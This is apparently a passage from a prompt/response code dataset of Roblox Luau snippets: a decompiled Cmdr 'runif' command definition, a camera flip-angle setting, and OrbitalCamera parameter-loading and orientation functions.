	task.delay(seconds, func, self:_getResolveReject())

	return self
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {
	Name = "runif",
	Aliases = {},
	Description = "Runs a given command string if a certain condition is met.",
	Group = "DefaultUtil",
	Args = { {
			Type = "conditionFunction",
			Name = "Condition",
			Description = "The condition function"
		}, {
			Type = "string",
			Name = "Argument",
			Description = "The argument to the condition function"
		}, {
			Type = "string",
			Name = "Test against",
			Description = "The text to test against."
		}, {
			Type = "string",
			Name = "Command",
			Description = "The command string to run if requirements are met. If omitted, return value from condition function is used.",
			Optional = true
		} }
};
local u1 = {
	startsWith = function(p1, p2)
		if p1:sub(1, #p2) ~= p2 then
			return;
		end;
		return p1:sub(#p2 + 1);
	end
};
function v1.Run(p3, p4, p5, p6, p7)
	local v2 = u1[p4];
	if not v2 then
		return ("Condition %q is not valid."):format(p4);
	end;
	local v3 = v2(p6, p5);
	if not v3 then
		return "";
	end;
	return p3.Dispatcher:EvaluateAndRun(p3.Cmdr.Util.RunEmbeddedCommands(p3.Dispatcher, p7 and v3));
end;
return v1;


Prompt: --Settings

Response: local MIN_FLIP_ANGLE = 70 --degrees from vertical


Prompt: -- This loads from, or lazily creates, NumberValue objects for exposed parameters

Response:
function OrbitalCamera:LoadNumberValueParameters()
	-- These initial values do not require change listeners since they are read only once
	self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
	self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)

	-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
	self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
	self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)

	-- Internal values set (in radians, from degrees), plus sanitization
	self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
	self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
	self.curDistance = self.externalProperties["InitialDistance"]

	self:SetAndBoundsCheckAzimuthValues()
	self:SetAndBoundsCheckElevationValues()
	self:SetAndBoundsCheckDistanceValues()
end

function OrbitalCamera:GetModuleName()
	return "OrbitalCamera"
end

function OrbitalCamera:SetInitialOrientation(humanoid)
	if not humanoid or not humanoid.RootPart then
		warn("OrbitalCamera could not set initial orientation due to missing humanoid")
		return
	end
	local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
	local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
	local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y)
	if not Util.IsFinite(horizontalShift) then
		horizontalShift = 0
	end
	if not Util.IsFinite(vertShift) then
		vertShift = 0
	end
	self.rotateInput = Vector2.new(horizontalShift, vertShift)
end